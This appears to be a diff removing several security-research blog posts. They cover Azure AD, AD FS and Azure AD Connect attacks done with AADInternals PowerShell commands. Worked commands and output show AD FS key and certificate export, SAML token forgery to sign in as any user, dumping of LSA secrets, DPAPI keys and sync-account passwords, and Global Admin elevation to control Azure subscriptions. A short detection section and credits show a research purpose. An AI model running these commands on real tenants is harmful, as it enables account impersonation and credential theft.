$ADFSKey = Export-AADIntADFSEncryptionKey -Server dc.company.com -Credentials $cred -ObjectGuid "930e004a-4486-4f58-aead-268e41c0531e"
|
||||
{{< /highlight >}}
|
||||
|
||||
### Detecting
|
||||
Technically, the encryption key is fetched using DCSync. As such, it will generate **event id 4662** to Security log. However, the access to DKM container is NOT detected.
|
||||
|
||||

|
||||
|
||||
### Preventing
|
||||
In practice, exporting the encryption key remotely can not prevented, but limiting the replication rights would reduce the attack surface.
|
||||
|
||||
# Exporting AD FS certificates
|
||||
|
||||
After exporting the configuration and encryption key, we are ready to decrypt the AD FS certificates. As we can see from the configuration xml, it includes certificates for Signing Token (line 42) and Encryption Token (line 32).
|
||||
Also "additional" certificates for signing token (line 21) and encryption token (line 9) are included. These additional certificates are (usually) generated automatically, when the currently used
|
||||
certificates getting near their expiration date. If the additional certificates are same than "current" certificates, they are not exported.
|
||||
|
||||
To export AD FS certificates to the current directory:
|
||||
{{< highlight powershell >}}
|
||||
# Export AD FS certificates
|
||||
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
|
||||
{{< /highlight >}}
|
||||
|
||||
If you are running this on AD FS server, you can omit the parameters:
|
||||
{{< highlight powershell >}}
|
||||
# Export AD FS certificates on AD FS server
|
||||
Export-AADIntADFSCertificates
|
||||
{{< /highlight >}}
|
||||
|
||||
# Exploiting
|
||||
|
||||
To exploit the Azure AD with the exported AD FS signing certificates, we need to know:
|
||||
|
||||
* The issuer URI of the AD FS service
|
||||
* ImmutableId of the user we want to login as
|
||||
|
||||
First, lets get the issuer URI. It can be fetched from the Azure AD or from the AD FS server.
|
||||
|
||||
To get the issuer URI from Azure AD using MsOnline PS module:
|
||||
{{< highlight powershell >}}
|
||||
# Get the issuer URI
|
||||
$Issuer = (Get-MsolDomainFederationSettings -DomainName <domain>).IssuerUri
|
||||
{{< /highlight >}}
|
||||
|
||||
To get the issuer URI from the AD FS server:
|
||||
{{< highlight powershell >}}
|
||||
# Get the issuer URI
|
||||
$Issuer = (Get-ADFSProperties).Identifier.OriginalString
|
||||
{{< /highlight >}}
|
||||
|
||||
**Note:** If AD FS is configured using Azure AD Connect, the OriginalString may NOT equal to issuer uri registered to Azure AD!
|
||||
|
||||
Next, we need the ImmutableId of the user we want to logon as. The ImmutableId can also be fetched from the Azure AD or from on-prem AD (ImmutableId is Base64 encoded ObjectGuid of the user's on-prem AD account).
|
||||
|
||||
To get users and immutable id's from Azure AD using MsOnline PS module:
|
||||
{{< highlight powershell >}}
|
||||
# Get ImmutableIds
|
||||
Get-MsolUser | select UserPrincipalName,ImmutableId
|
||||
{{< /highlight >}}
|
||||
|
||||
To get users and immutable id's from on-prem AD using AzureAD PS module:
|
||||
{{< highlight powershell >}}
|
||||
# Get ImmutableIds
|
||||
Get-ADUser -Filter * | select UserPrincipalname,@{Name = "ImmutableId" ; Expression = { "$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray())) "}}
|
||||
{{< /highlight >}}
|
||||
|
||||
```
|
||||
UserPrincipalname ImmutableId
|
||||
----------------- -----------
|
||||
AlexW@company.com Ryo4MuvXW0muelHOefJ9yg==
|
||||
AllanD@company.com Eo+jOAQegUi6rEy8+Yu1Rg==
|
||||
DiegoS@company.com cl/bTG5zJku9VynOaXYaeQ==
|
||||
IsaiahL@company.com iZaESRicxECDk5bN7gZhPg==
|
||||
JoniS@company.com iGyyi+gq40u409PXjE3yRg==
|
||||
LynneR@company.com QpHd34ay4UKo0whX6hui3g==
|
||||
MeganB@company.com 31YCEbfrMUCefem7zlPYTg==
|
||||
NestorW@company.com jyEyYWLzKkSpq3bERRG+PQ==
|
||||
PattiF@company.com xTuqzBwFbUePyPGRRA1R4g==
|
||||
SamiL@company.com VlUqJm8rrUeAhrhJGIhYsQ==
|
||||
MarkR@company.com J1OAD14fgEWTMjLqQL5+/g==
|
||||
```
|
||||
|
||||
Now we can login as any user whose ImmutableId is known. The following command will open a Chrome browser and log the user automatically in.
|
||||
{{< highlight powershell >}}
|
||||
# Open Office 365 portal as the given user
|
||||
Open-AADIntOffice365Portal -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer -Browser Chrome
|
||||
{{< /highlight >}}
|
||||
|
||||
We can also use the same information to get access token to any Office 365/Azure AD service we like:
|
||||
{{< highlight powershell >}}
|
||||
# Create a SAML token
|
||||
$saml = New-AADIntSAMLToken -ImmutableID iZaESRicxECDk5bN7gZhPg== -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer
|
||||
|
||||
# Get access token for Outlook
|
||||
Get-AADIntAccessTokenForEXO -SAMLToken $saml -SaveToCache
|
||||
{{< /highlight >}}
|
||||
```
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
112d9bdc-b677-4a5f-8650-2948dbedb02f IsaiahL@company.com https://outlook.office365.com d3590ed6-52b3-4102-aeff-aad2292ab01c
|
||||
```
|
||||
|
||||
|
||||
# Summary
|
||||
|
||||
In this blog post, I introduced various techniques how to export AD FS configuration data and encryption key to extract the AD FS certificates. Corresponding detection and prevention
|
||||
techniques were also introduced.
|
||||
|
||||
# References
|
||||
* Douglas Bienstock and Austin Baker: <a href="https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you" target="_blank">I am AD FS and So Can You</a>
|
||||
* Fireeye: <a href="https://github.com/fireeye/ADFSdump" target="_blank">ADFSDump</a>
|
||||
* Fireeye: <a href="https://github.com/fireeye/ADFSpoof" target="_blank">ADFSpoof</a>
|
||||
* Microsoft: <a href="https://github.com/microsoft/adfsToolbox" target="_blank">ADFSToolbox</a>, <a href="https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208">Test.ServiceAccount.ps1</a>
|
||||
* Douglas Bienstock / Fireeye: <a href="https://www.fireeye.com/blog/threat-research/2021/04/abusing-replication-stealing-adfs-secrets-over-the-network.html" target="_blank">Abusing Replication: Stealing AD FS Secrets Over the Network</a>
|
||||
* Dirk-Jan Mollena: <a href="https://github.com/fox-it/adconnectdump" target="_blank">adconnectdump</a>
|
||||
* Benjamin Delby: <a href="https://github.com/gentilkiwi/mimikatz/wiki" target="_blank">Mimikatz</a>
|
||||
* Michael Grafnetter: <a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a>
|
||||
* Microsoft: <a href="https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor" target="_blank">FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor</a>
|
||||
* Roberto Rodriquez: <a href="https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html" target="_blank">Threat Hunter Playbook: Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys</a>
|
||||
* Ned Pyle (Microsoft): <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/ad-fs-2-0-claims-rule-language-primer/ba-p/399789" target="_blank">AD FS 2.0 Claims Rule Language Primer</a>
|
||||
@@ -1,335 +0,0 @@
|
||||
+++
|
||||
title = "Decrypting ADSync passwords - my journey into DPAPI"
|
||||
date = "2020-05-08"
|
||||
lastmod = "2022-08-29"
|
||||
categories =["blog"]
|
||||
tags = ["Azure Active Directory","Active Directory", "Sync", "AADConnect"]
|
||||
thumbnail = "/images/posts/ADSync.png"
|
||||
+++
|
||||
|
||||
Microsoft changed the location of ADSync encryption keys in Azure AD Connect version 1.4.x. These keys are used to encrypt and decrypt the passwords of "service accounts" used for syncing
|
||||
data from AD to Azure AD. Earlier versions saved the keys in the registry, but currently, it is using DPAPI. Thus, AADInternals couldn't decrypt the passwords anymore.
|
||||
Luckily, Dirk-jan Mollema described in his great <a href="https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/" target="_blank">article</a> how the encryption keys
|
||||
could be extracted and used to decrypt the passwords. Using Dirk-jan's article as a starting point, I decided to implement this to AADInternals.
|
||||
|
||||
<!--more-->
|
||||
# Background
|
||||
Azure AD Connect synchronises information from on-prem AD to Azure AD. For this purpose, two users are created to AD and one to Azure AD.
|
||||
One of the on-prem accounts is named as AAD_012345679ab and is used to run the ADSync service (miiserver.exe). The other user is named MSOL_0123456789ab and is used
|
||||
to perform the actual synchronisation operations.
|
||||
|
||||
The user created to Azure AD is named as Sync_XXXX_0123456789ab@company.onmicrosoft.com where XXXX is the name of the server. The postfix (random hex string) is shared with
|
||||
the on-prem users. The user is given a "Directory synchronisation Accounts" role, which allows it to create, modify, and delete users and set their passwords.
|
||||
|
||||

|
||||
|
||||
As the accounts used for synchronisation have permissions to manipulate users, they need to be protected. Azure AD Connect versions 1.3.x and earlier
|
||||
saved the keyset in the registry (HKLM\Software\Microsoft\Ad Sync\Shared\). However, since 1.4.x the keyset is protected using DPAPI.
|
||||
|
||||
# My DPAPI journey
|
||||
|
||||
## What is DPAPI
|
||||
Let's start by figuring out what DPAPI is. DPAPI stands for Data Protection Application Protection Interface and is a recommended way for protecting secrets in Windows.
|
||||
|
||||
## Master keys
|
||||
DPAPI uses master keys for encrypting and decrypting secrets. User and system master keys are located at:
|
||||
```
|
||||
C:\Users\<user name>\AppData\Roaming\Microsoft\Protect\<user SID>\
|
||||
C:\Windows\System32\Microsoft\Protect\S-1-5-18\
|
||||
```
|
||||
In the folder, there are one or more master key files and a file called Preferred.
|
||||
|
||||
```
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
-a-hs- 17/12/2019 13.03 468 a65f05d8-fbac-4787-b984-1174f0becf75
|
||||
-a-hs- 16/03/2020 10.59 740 ecae2d5a-5af0-484f-8e98-7028a56e76b3
|
||||
-a-hs- 16/03/2020 10.59 24 Preferred
|
||||
```
|
||||
The preferred file contains a guid of the current master key and a time stamp.
|
||||
```
|
||||
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
|
||||
00000000 5A 2D AE EC F0 5A 4F 48 8E 98 70 28 A5 6E 76 B3
|
||||
00000010 60 89 40 23 2A 42 D6 01
|
||||
```
|
||||
So, the current master key can be found easily using PowerShell:
|
||||
{{< highlight powershell >}}
|
||||
[guid][byte[]]@(0x5A, 0x2D, 0xAE, 0xEC, 0xF0, 0x5A, 0x4F, 0x48, 0x8E, 0x98, 0x70, 0x28, 0xA5, 0x6E, 0x76, 0xB3)
|
||||
{{< /highlight>}}
|
||||
|
||||
```
|
||||
Guid
|
||||
----
|
||||
ecae2d5a-5af0-484f-8e98-7028a56e76b3
|
||||
```
|
||||
|
||||
The actual master key file contains three copies of user's master key: Master Key, Backup Key, and Domain Key.
|
||||
The **Master Key** is encrypted using a key derived from user's password and SID. The **Domain Key** is encrypted with a **domain backup key**.
|
||||
|
||||
## Credentials (secrets)
|
||||
Although DPAPI can be used to protect any data, with Azure AD Connect, the passwords are stored to AAD_012345679ab user's credential vault.
|
||||
The user's "vault" is located in two places:
|
||||
```
|
||||
C:\Users\<user name>\AppData\Local\Microsoft\Credentials
|
||||
C:\Users\<user name>\AppData\Roaming\Microsoft\Credentials
|
||||
```
|
||||
The credential files contains information, such as the guid of the master key used to encrypt the secret, hashing algorithm, and encryption algorithm.
|
||||
It also contains the actual encrypted secret, which can be any binary data.
|
||||
|
||||
## Getting the ADSync encryption key
|
||||
The first step to get the encryption key is to locate it. In his article, Dirk-jan says that ADSync service is running as NT SERVICE\ADSync.
|
||||
However, this seems not to be the case anymore. Instead, the ADSync service is using the AAD_012345679ab user created during the installation.
|
||||
|
||||

|
||||
|
||||
This means that the user's secrets are located at:
|
||||
```
|
||||
C:\Users\AAD_2980bcb19aa3\appdata\Local\Microsoft\Credentials
|
||||
```
|
||||
|
||||
There was only one file in the directory, so it had to be the one containing the encryption keyset.
|
||||
The beginning of the file is dumped below. The bytes 0x24-0x33 contains the master key guid.
|
||||
|
||||
```
|
||||
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
|
||||
|
||||
00000000 01 00 00 00 90 03 00 00 00 00 00 00 01 00 00 00 ...............
|
||||
00000010 D0 8C 9D DF 01 15 D1 11 8C 7A 00 C0 4F C2 97 EB Ðß..Ñ.z.ÀOÂë
|
||||
00000020 01 00 00 00 68 D8 3C 02 BE 7E 1A 4B 80 BF 85 B9 ....hØ<.¾~.K¿
¹
|
||||
00000030 1C 6F F2 29 00 00 00 20 30 00 00 00 4C 00 6F 00 .oò)... 0...L.o.
|
||||
00000040 63 00 61 00 6C 00 20 00 43 00 72 00 65 00 64 00 c.a.l. .C.r.e.d.
|
||||
00000050 65 00 6E 00 74 00 69 00 61 00 6C 00 20 00 44 00 e.n.t.i.a.l. .D.
|
||||
00000060 61 00 74 00 61 00 0D 00 0A 00 00 00 03 66 00 00 a.t.a........f..
|
||||
00000070 C0 00 00 00 10 00 00 00 D5 02 39 57 7A A6 B3 FF À.......Õ.9Wz¦³.
|
||||
00000080 72 16 E0 E7 61 6C A9 DB 00 00 00 00 04 80 00 00 r.àçal©Û.......
|
||||
00000090 A0 00 00 00 10 00 00 00 0D AF 6A AB BC 8C B9 26 ........¯j«¼¹&
|
||||
```
|
||||
Again, we can use PowerShell to show the master key guid.
|
||||
{{< highlight powershell >}}
|
||||
[guid][byte[]]@(0x68, 0xD8, 0x3C, 0x02, 0xBE, 0x7E, 0x1A, 0x4B, 0x80, 0xBF, 0x85, 0xB9, 0x1C, 0x6F, 0xF2, 0x29)
|
||||
{{< /highlight>}}
|
||||
|
||||
```
|
||||
Guid
|
||||
----
|
||||
023cd868-7ebe-4b1a-80bf-85b91c6ff229
|
||||
```
|
||||
Now we also know the location of the user's master key!
|
||||
|
||||
## Decrypting the master key
|
||||
According to Dirk-jan's article, ADSync user's masterkey can be decrypted using a combination of DPAPI userkey and user's SID. So, first we need to get the DPAPI userkey.
|
||||
|
||||
**Note:** At this point I figured out that the things required for decrypting the service users' passwords are not possible to implement as PowerShell script.
|
||||
Therefore, I was forced to create a separate .dll to implement needed code in c# and use those functions from PowerShell. Most of the things are just refactored functionality from Mimikatz.
|
||||
|
||||
DPAPI machine key is located in LSA (Local Security Authority) secrets. Physically these are stored in registry at:
|
||||
```
|
||||
HKLM:\SECURITY\Policy\Secrets
|
||||
```
|
||||
However, the administrator doesn't have access rights to that location. Luckily, I found a way to get needed access.
|
||||
For short, an administrator can copy a kerberos token from lsass process
|
||||
and gain LSA rights that way. After this, it was quite straight-forward to retrieve the LSA secrets.
|
||||
{{< highlight powershell >}}
|
||||
# Dump the LSA secrets
|
||||
Get-AADIntLSASecrets
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name : $MACHINE.ACC
|
||||
Password : {1, 2, 3, 4...}
|
||||
PasswordHex : 01020304..
|
||||
PasswordTxt : 컓噖덭а劈-⌋결
|
||||
MD4 : {1, 2, 3, 4...}
|
||||
SHA1 : {1, 2, 3, 4...}
|
||||
MD4Txt : aabbccdd..
|
||||
SHA1Txt : aabbccdd..
|
||||
|
||||
Name : DPAPI_SYSTEM
|
||||
Password : {1, 0, 0, 0...}
|
||||
PasswordHex : 0100000001082277ac85a532018930b782c30b7f2f91f7677e258665f0a016a7c215ceaf29ee1ae17b9f017b9
|
||||
PasswordTxt : 挌榵
|
||||
MD4 : {1, 2, 3, 4...}
|
||||
SHA1 : {1, 2, 3, 4...}
|
||||
MD4Txt : aabbccdd..
|
||||
SHA1Txt : aabbccdd..
|
||||
|
||||
Name : NL$KM
|
||||
Password : {1, 2, 3, 4...}
|
||||
PasswordHex : 01020304..
|
||||
PasswordTxt : ⬡ꎛ
|
||||
MD4 : {1, 2, 3, 4...}
|
||||
SHA1 : {1, 2, 3, 4...}
|
||||
MD4Txt : aabbccdd..
|
||||
SHA1Txt : aabbccdd..
|
||||
|
||||
Name : _SC_ADSync
|
||||
Password : {1, 2, 3, 4...}
|
||||
PasswordHex : 01020304..
|
||||
PasswordTxt : a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly
|
||||
MD4 : {1, 2, 3, 4...}
|
||||
SHA1 : {1, 2, 3, 4...}
|
||||
MD4Txt : aabbccdd..
|
||||
SHA1Txt : aabbccdd..
|
||||
```
|
||||
|
||||
The DPAPI_SYSTEM user has a binary password containing the keys. To ease fetching the DPAPI keys, I also implemented the following function:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get DPAPI keys
|
||||
Get-AADIntDPAPIKeys
|
||||
{{< /highlight>}}
|
||||
```
|
||||
UserKey UserKeyHex MachineKey MachineKeyHex
|
||||
------- ---------- ---------- -------------
|
||||
{16, 130, 39, 122...} 1082277ac85a532018930b782c30b7f2f91f7677 {226, 88, 102, 95...} e258665f0a016a7c215ceaf29ee1ae17b9f017b9
|
||||
```
|
||||
|
||||
At this point, I noticed that _SC_ADSync had a plain-text password. The user had no rights to login normally, so I temporarely moved it to Administrators group.
|
||||
After that, I was able to login as AAD_012345679ab user with _SC_ADSync password! Thus, as the user was not a virtual account as described in Dirk-jan's post, I implemented
|
||||
a function to decrypt user's master key with user name, SID, and password.
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get user's master key
|
||||
Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -Password 'a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly' -SID "S-1-5-21-xx-xx-xx-xx"
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name Value
|
||||
---- -----
|
||||
023cd868-7ebe-4b1a-80bf-85b... {236, 115, 202, 81...}
|
||||
```
|
||||
|
||||
Later I discovered that also the decryption using system key was needed. But first we need to get the those keys.
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Dump the LSA keys
|
||||
Get-AADIntLSABackupKeys
|
||||
{{< /highlight>}}
|
||||
```
|
||||
certificate Name Id Key
|
||||
----------- ---- -- ---
|
||||
{48, 130, 3, 0...} RSA 709d861c-56c1-4f8c-94fd-c15a91bbd991 {30, 241, 181, 176...}
|
||||
Legacy e9ab591b-c25f-432f-97f7-a77e5c998fd3 {226, 180, 14, 151...}
|
||||
```
|
||||
|
||||
Now that we have the LSA keys, we are able to decrypt all master keys!
|
||||
{{< highlight powershell >}}
|
||||
# Dump the LSA key
|
||||
$rsa=Get-AADIntLSABackupKeys | where Name -eq RSA
|
||||
|
||||
# Get user's master key
|
||||
Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -SID "S-1-5-21-xx-xx-xx-xx" -SystemKey $rsa.Key
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name Value
|
||||
---- -----
|
||||
023cd868-7ebe-4b1a-80bf-85b... {236, 115, 202, 81...}
|
||||
```
|
||||
|
||||
## Decrypting secrets
|
||||
Now that we know the location of the secrets and we have decrypted the master key, we can decrypt the encryption keys!
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Get user's master key
|
||||
$mks = Get-AADIntUserMasterkeys -UserName AAD_2980bcb19aa3 -Password 'a5bTiGcvC8fr=E;MQ331IOt/&RP,!m:qjiRXaS;xr4V#6t74;&7mXWoOoz"57K/kKTz#xdBBqb.GDKly' -SID "S-1-5-21-xx-xx-xx-xx"
|
||||
|
||||
# Dump user's secrets
|
||||
Get-AADIntLocalUserCredentials -UserName AAD_2980bcb19aa3 -MasterKeys $mks
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Target : LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{6F529078-33BD-448F-A9AF-20D28B1E55DC}_100000
|
||||
Persistance : local_machine
|
||||
Edited : 24/04/2020 13.03.18
|
||||
Alias :
|
||||
Comment :
|
||||
UserName : ADSync
|
||||
Secret : {1, 0, 0, 0...}
|
||||
SecretTxt : 賐�ᔁᇑ窌쀀쉏 鈿鄅俿鮍遤 MMS_ENCRYPTION_KEYSET_{6F529078-33BD-448F-A9AF-20D28B1E55DC}_100000 昃 À E䖀ﶽ�峘ᓗ 耄
|
||||
SecretTxtUtf8 : Ќ����z �O� ?��L��O��d�|��� � M M S _ E N C R Y P T I O N _ K E Y S E T _ { 6 F 5 2 9 0 7 8 - 3 3 B D - 4 4 8 F - A 9 A F - 2 0 D 2 8 B 1 E 5 5
|
||||
Attributes : {}
|
||||
```
|
||||
From the output we can see that we've found the encryption keyset!
|
||||
|
||||
## Decrypting ADSync encoding keyset
|
||||
The closer look to the binary secret reveals that it is also a DPAPI blob, encrypted with an unknown master key.
|
||||
After searching, I was able to figure out that it was one of the system's master keys! So, next, I needed a way to decrypt them:
|
||||
{{< highlight powershell >}}
|
||||
# Dump the LSA key
|
||||
$rsa=Get-AADIntLSABackupKeys | where Name -eq RSA
|
||||
|
||||
# Get system master keys
|
||||
Get-AADIntSystemMasterkeys -SystemKey $rsa.Key
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name Value
|
||||
---- -----
|
||||
9105923f-ef4c-4fff-8d9b-649... {203, 24, 3, 236...}
|
||||
```
|
||||
I already knew that the entropy needed for decrypting the key was located in ADSync configuration database.
|
||||
{{< highlight powershell >}}
|
||||
# Dump the key info
|
||||
Get-AADIntSyncEncryptionKeyInfo
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name Value
|
||||
---- -----
|
||||
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
|
||||
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
|
||||
```
|
||||
|
||||
However, I was unable to decrypt the data with the correct system master key :disappointed: as it always failed with error 0x80090005 (Bad Data).
|
||||
|
||||
Finally, I tried to decrypt the data using the native DPAPI <a href="https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata" target="_blank">CryptProtectData</a> function
|
||||
with CRYPTPROTECT_LOCAL_MACHINE flag. Profit!
|
||||
|
||||
Now, finally, I was able to able to decrypt and extract the encryption key!
|
||||
{{< highlight powershell >}}
|
||||
# Get the key info
|
||||
$key_info = Get-AADIntSyncEncryptionKeyInfo
|
||||
|
||||
# Dump the key
|
||||
Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Id Guid CryptAlg Key
|
||||
-- ---- -------- ---
|
||||
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
|
||||
```
|
||||
|
||||
## Final solution
|
||||
As you probably noticed, I didn't implement the decryption of the "service account" passwords. Well, I actually did but those functions are not exported in AADInternals module and thus not available.
|
||||
Why, you might ask.
|
||||
|
||||
The explanation is simple. At some point, I logged in as AAD_012345679ab user and tried if the original AADInternals Get-AADIntSyncCredentials function would work. To my surprise, it worked as a charm!
|
||||
I wondered why, and ended up into a conclusion that as I was running PowerShell as AAD_012345679ab user, it had access to user's secrets and master keys. So, if it would
|
||||
be possible to run the PowerShell as AAD_012345679ab user, I could extract the passwords without altering the original code at all.
|
||||
|
||||
Then the solution just popped into my mind! If I can get LSA rights by copying the token from the running lsass service, it should work in the similar way with AzureAD miiserver service.
|
||||
I tried to copy the token as an administrator but it failed with access denied. But, if I first copied the LSA token, I got more rights and was able to copy ADSync token too!
|
||||
Only problem was that after "elevating" the PowerShell session to AAD_012345679ab user, I was not able access the local configuration database. The solution was to first
|
||||
open the database once and doing the "elevation" after that. The only downside is that in order to restore the normal rights the PowerShell needs to be restarted.
|
||||
|
||||
So, after spending months studying and implementing DPAPI functionality to AADInternals, I didn't even needed those to decrypt the passwords! But learning something new is never a bad thing!
|
||||
|
||||
Now you can dump the Azure AD Connect credentials from computer where it is installed.
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Dump the AD Connect credentials
|
||||
Get-AADIntSyncCredentials
|
||||
{{< /highlight>}}
|
||||
```
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
```
|
||||
With the dumped credentials you can now log in to Azure AD and pretend to be Azure AD Connect.
|
||||
|
||||
# Credits
|
||||
Most of the things I've discussed here are inventions of others:
|
||||
|
||||
* Dirk-jan Mollema: <a href="https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/" target="_blank">Updating adconnectdump - a journey into DPAPI</a>
|
||||
* Benjamin Delpy: <a href="https://github.com/gentilkiwi/mimikatz" target="_blank">Mimikatz source code</a>
|
||||
* harmj0y: <a href="https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/" target="_blank">Operational Guidance for Offensive DPAPI Abuse</a>
|
||||
* Michael Grafnetter <a href="https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/" target="_blank">Retrieving DPAPI Backup Keys from Active Directory</a>
|
||||
@@ -1,223 +0,0 @@
|
||||
+++
|
||||
title = "Getting root access to Azure VMs as a Azure AD Global Administrator"
|
||||
date = "2020-06-04"
|
||||
lastmod = "2020-06-04"
|
||||
categories =["blog"]
|
||||
tags = ["Azure Active Directory","Azure","Virtual Machine","Global Administrator","security"]
|
||||
thumbnail = "/images/posts/AzureVMs.png"
|
||||
+++
|
||||
|
||||
Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@Pyrotek3</a>) organised a great <a href="https://www.trimarcsecurity.com/event-details/securing-office-365-azure-active-directory-defend-your-tenant" target="_blank">webcast</a> at the end of the May 2020.
|
||||
Among other things, Sean introduced a new (to me, at least) attack-vector where an Azure AD administrator can easily get a system level access to any Azure virtual machine of the organisation.
|
||||
Naturally, I had to implement this functionality to <a href="/aadinternals target="_blank">AADInternals</a>.
|
||||
|
||||
In this blog, using **AADInternals v0.3.3**, I'll show how a Global Administator can gain access to any Azure VM of the organisation.
|
||||
|
||||
<!--more-->
|
||||
# Background
|
||||
The Microsoft offical **Azure AD** <a href="https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#global-administrator--company-administrator" target="_blank">documentation</a>
|
||||
about **Global Administators** states the following:
|
||||
|
||||
> Users with this role have access to all administrative features in Azure Active Directory, as well as services that use Azure Active Directory identities like Microsoft 365 security center, Microsoft 365 compliance center, Exchange Online, SharePoint Online, and Skype for Business Online. The person who signs up for the Azure AD organization becomes a global administrator. There can be more than one global administrator at your company. Global admins can reset the password for any user and all other administrators.
|
||||
|
||||
I suppose this is well known by the most of the people working with Office/Microsoft 365. Moreover, there is also an **Azure** <a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin" target="_blank">documentation</a> stating the following:
|
||||
|
||||
> As a Global Administrator in Azure Active Directory (Azure AD), you might not have access to all subscriptions and management groups in your directory.
|
||||
|
||||
Sounds great! Global Admins shouldn't have access to Azure resources, such as VMs, as they are supposed to administer just one of the Azure workloads: **Azure AD**. But wait, there is more in the same documentation:
|
||||
|
||||
> However, if you are a Global Administrator in Azure AD, **you can assign yourself access to all Azure subscriptions and management groups in your directory**. Use this capability if you don't have access to Azure subscription resources, such as virtual machines or storage accounts, and you want to use your Global Administrator privilege to gain access to those resources.
|
||||
|
||||
So.. If you are a Global Administrator and you **want to** gain access to Azure resources, you can do so? Doesn't sound that great anymore!
|
||||
|
||||
# Getting access to Azure
|
||||
|
||||
The Azure documentation I mentioned above states that:
|
||||
|
||||
> When you elevate your access, you will be assigned the User Access Administrator role in Azure at root scope (/). **This allows you to view all resources and assign access in any subscription or management group in the directory**.
|
||||
|
||||
In practice, this means that as a Global Administrator of **Azure AD**, you can elevate yourself to **User Access Administrator** of **all Azure subscriptions** of your tenant (or directory, to be more specific).
|
||||
**User Access Administrator** role allows you to manage access to Azure resources so you'll have the Keys to the Kingdom!
|
||||
|
||||
For start, you need a Global Admin account you'd like to elevate. First step is to get an Access Token:
|
||||
{{< highlight powershell >}}
|
||||
# Prompt for credentials and save them to a variable (skip this if using MFA)
|
||||
$cred=Get-Credential
|
||||
|
||||
# Get an access token and save it to a variable (omit the credentials if using MFA)
|
||||
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
|
||||
{{< /highlight>}}
|
||||
|
||||
Next step is to elevate the user to User Access Administrator:
|
||||
{{< highlight powershell >}}
|
||||
# Grant Azure User Access Administrator role
|
||||
Grant-AADIntAzureUserAccessAdminRole -AccessToken $at
|
||||
{{< /highlight>}}
|
||||
|
||||
And that's it!
|
||||
|
||||
Now you have access to all Azure subscriptions and you can easily get a list of them. However, you need to get a new Access Token for the changes to take effect:
|
||||
{{< highlight powershell >}}
|
||||
# Update the access token and save it to a variable (omit credentials if using MFA)
|
||||
$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred
|
||||
|
||||
# Get all subscriptions of the current tenant
|
||||
Get-AADIntAzureSubscriptions -AccessToken $at
|
||||
{{< /highlight>}}
|
||||
|
||||
**Output:**
|
||||
```
|
||||
subscriptionId displayName state
|
||||
-------------- ----------- -----
|
||||
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
|
||||
99fccfb9-ed41-4179-aaf5-93cae2151a77 Pay-as-you-go Enabled
|
||||
```
|
||||
|
||||
# Getting access to VMs
|
||||
|
||||
As you now have User Access Management rights to all Azure subscriptions, you can give yourself various rights to Azure resources. In this blog, we are focusing only to Virtual Machines (VMs).
|
||||
|
||||
As Sean pointed out in his webcast, one of the most interesting rights (or roles) is **Virtual Machine Contributor**.
|
||||
According to Microsoft <a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-contributor" target="_blank">documentation</a> the Virtual Machine Contributor role:
